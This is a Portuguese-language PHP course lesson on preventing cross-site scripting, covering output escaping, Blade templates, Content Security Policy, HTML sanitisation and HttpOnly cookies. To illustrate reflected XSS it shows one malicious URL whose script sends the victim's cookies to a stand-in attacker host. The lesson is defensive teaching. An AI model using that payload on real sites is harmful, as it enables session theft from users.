Prevenção de Cross-Site Scripting (XSS)
Escape a saída com htmlspecialchars e implemente uma política de segurança de conteúdo.
Prevenção de Cross-Site Scripting (XSS) é uma aula grátis de PHP Academy no CoddyKit. Esta é a aula 1 de 4. Você pode ler a aula completa abaixo gratuitamente — depois pratica ao vivo no navegador com um editor de código integrado e um tutor de IA 24/7. Faz parte do caminho de aprendizado de PHP Academy, e seu progresso é sincronizado entre a web e o app CoddyKit. O curso de PHP Academy inclui 4 aulas no total.
O que é XSS?
Scripting entre sites (XSS) ocorre quando um invasor injeta JavaScript malicioso em páginas da Web visualizadas por outros usuários. O script é executado no navegador da vítima, com acesso à sessão, aos cookies e ao DOM dela.
XSS refletido
A carga maliciosa está na URL ou em um parâmetro de formulário e é refletida pelo servidor na resposta.
// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>XSS armazenado
A carga é salva no banco de dados (comentário, campo de perfil) e exibida a todos os visitantes que visualizam essa página.
XSS baseado em DOM
A vulnerabilidade está inteiramente no JavaScript do lado do cliente, que insere dados não confiáveis no DOM de forma insegura usando innerHTML ou document.write.
htmlspecialchars()
Codifique a saída para converter caracteres especiais de HTML em entidades inofensivas. Sempre codifique os dados fornecidos pelo usuário antes de renderizá-los.
<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entitiesEscape automático do Blade
A sintaxe {{ }} do Laravel Blade chama automaticamente htmlspecialchars. Use {!! !!} somente para HTML confiável e higienizado.
{{-- Safe: --}}
<h1>{{ $user->name }}</h1>
{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>Política de segurança de conteúdo (CSP)
Um cabeçalho HTTP de CSP instrui os navegadores a executar scripts somente de fontes confiáveis, bloqueando scripts embutidos injetados mesmo que cheguem à página.
<?php
$response->headers->set("Content-Security-Policy",
"default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);Higienização da entrada HTML
Se precisar permitir entrada HTML rica (por exemplo, de um editor WYSIWYG), higienize-a com uma biblioteca de lista de permissões, como o HTML Purifier ou o pacote Laravel mews/purifier.
<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);Cabeçalho X-XSS-Protection
Adicione o cabeçalho X-XSS-Protection: 1; mode=block (para compatibilidade com navegadores antigos). Os navegadores modernos dependem da CSP.
Cookies somente HTTP
Definir a sinalização HttpOnly nos cookies de sessão impede que o JavaScript os leia, reduzindo o risco de roubo de sessão baseado em XSS mesmo quando um script é injetado.
Validação de URLs
Nunca insira URLs fornecidas pelo usuário em href ou src sem validação. Um URI javascript: pode executar XSS.
<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
$url = "#"; // fallback
}Resumo
Sempre codifique a saída com htmlspecialchars (ou {{ }} do Blade). Adicione uma política de segurança de conteúdo. Higienize a entrada HTML com uma biblioteca de lista de permissões. Use cookies HttpOnly.
Verificação rápida
Qual função do PHP converte caracteres especiais de HTML em entidades?
Perguntas Frequentes
A aula “Prevenção de Cross-Site Scripting (XSS)” é grátis?
Sim — o texto completo de “Prevenção de Cross-Site Scripting (XSS)” é grátis para ler aqui na web. Para praticá-la interativamente (um editor de código integrado e um tutor de IA 24/7) e desbloquear o restante do curso de PHP Academy, atualize para CoddyKit PRO. O curso de PHP Academy inclui 4 aulas no total.
O que vou aprender em “Prevenção de Cross-Site Scripting (XSS)”?
Escape a saída com htmlspecialchars e implemente uma política de segurança de conteúdo. Você pratica PHP Academy com código prático que executa diretamente no navegador, e um tutor de IA 24/7 responde suas dúvidas enquanto trabalha na aula.
Preciso ter experiência prévia para começar PHP Academy?
Nenhuma experiência prévia é necessária. PHP Academy no CoddyKit é estruturado para alunos iniciantes até avançados, então você pode começar aqui ou desde o início e aprender no seu ritmo. Esta é a aula 1 de 4.
Quanto tempo leva a aula “Prevenção de Cross-Site Scripting (XSS)”?
A maioria das aulas CoddyKit leva cerca de 5–10 minutos. Cada uma é compacta e interativa, então você faz progresso constante e retoma exatamente de onde parou entre web e app.
Posso escrever e executar código nesta aula de PHP Academy?
Sim. Cada aula de PHP Academy inclui um editor de código integrado, então você escreve e executa código real direto no navegador e recebe feedback de IA instantaneamente — nenhuma configuração local necessária.
Todas as aulas deste curso
- Prevenção de Cross-Site Scripting (XSS)
- Injeção de SQL e consultas parametrizadas
- Proteção contra CSRF
- Armazenamento seguro de senhas